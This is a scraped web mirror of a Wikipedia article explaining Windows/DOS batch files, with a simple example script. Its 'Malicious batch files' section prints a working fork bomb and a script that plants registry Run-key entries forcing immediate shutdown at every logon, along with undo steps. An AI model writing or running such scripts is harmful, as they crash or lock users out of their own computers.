Batch file

Article on other languages:

del.icio.us del.icio.us
Digg Digg
Furl Furl
Reddit Reddit
Rojo Rojo
Add to OnlyWire
Batch file
File extension .bat .cmd .btm
Type of format Scripting
Container for Shell scripts

In DOS, OS/2, and Microsoft Windows, a batch file is a text file containing a series of commands intended to be executed by the command interpreter. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line. Batch files are useful for running a sequence of executables automatically and are often used by system administrators to automate tedious processes.

Although a batch file is analogous to a shell script in Unix-like operating systems, the limited syntax and commands available makes it is less suited for general-purpose programming. These limitations lead to the widespread use of "enhancement" commands such as those in the Norton Utilities and later the replacement shell 4DOS in the DOS era.

DOS batch files have the filename extension .bat. Batch files for other environments may have different extensions, e.g. .cmd in Windows NT and OS/2, or .btm in 4DOS and related shells. There is no difference between the .bat and .cmd extensions when the file is directly executed. However, when a shortcut is used to launch them, .bat files run commands using the 16-bit COMMAND.COM command processor whereas if the extension is .cmd, the batch commands are run using the 32-bit Windows NT cmd.exe with all command extensions enabled. Also, the Windows 9x family only recognizes the .bat extension.



Contents

Example

An example of a simple batch file:

REM ECHO OFF prevents the printing of each command to standard output.
@ECHO OFF
REM ECHO. prints a blank line.
ECHO.
ECHO Hello World, press any key to start APROGRAM.EXE!
PAUSE > NUL
REM The first argument to the batch file can be referenced with "%1"
APROGRAM.EXE %1
IF ERRORLEVEL 1 GOTO error
ECHO.
ECHO APROGRAM has finished whatever it was doing.
GOTO end
:error
ECHO.
ECHO Something went wrong with AProgram.
:end

Malicious batch files

Batch files are often used by Script kiddies to create malicious programs.

An example of a fork bomb [Warning: This batch file will use up all available memory and processor resources]:

:loop
start Crash.cmd
goto loop

Save the file as Crash.cmd. If opened, it will continue to open itself over and over, causing the victims computer to crash.

An example of a "batch crash" [Warning: This batch file will log you off every time you log on. Test at your own risk]:

@ECHO off 
CLS 
COPY %0 C:\%0_1.bat
ECHO REGEDIT4 >> temp.reg 
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg 
ECHO "ownage"="shutdown.exe -s -t 00" >> temp.reg 
ECHO [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg
ECHO "ownage"="shutdown.exe -s -t 00" >> temp.reg 
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg 
ECHO "backup1"="C:\%0_1.bat" >> temp.reg
REGEDIT.EXE /s temp.reg 
SHUTDOWN.EXE -s -t 00

To "undo" this, go to Start > Run and type REGEDIT, this will bring up the Registry Editor. Now, delete "ownage" in [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] and [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run].

See also

External links

Wikibooks
Wikibooks has a book on the topic of

Article keywords: dos batch file,

Questions for article: windows dos batch file command, windows dos batch file command

This article is from Wikipedia. All text is available under the terms of the GNU Free Documentation License.


Giant Panda

Mercedes Car
James Bond Guide
This site monitored by SitePinger.net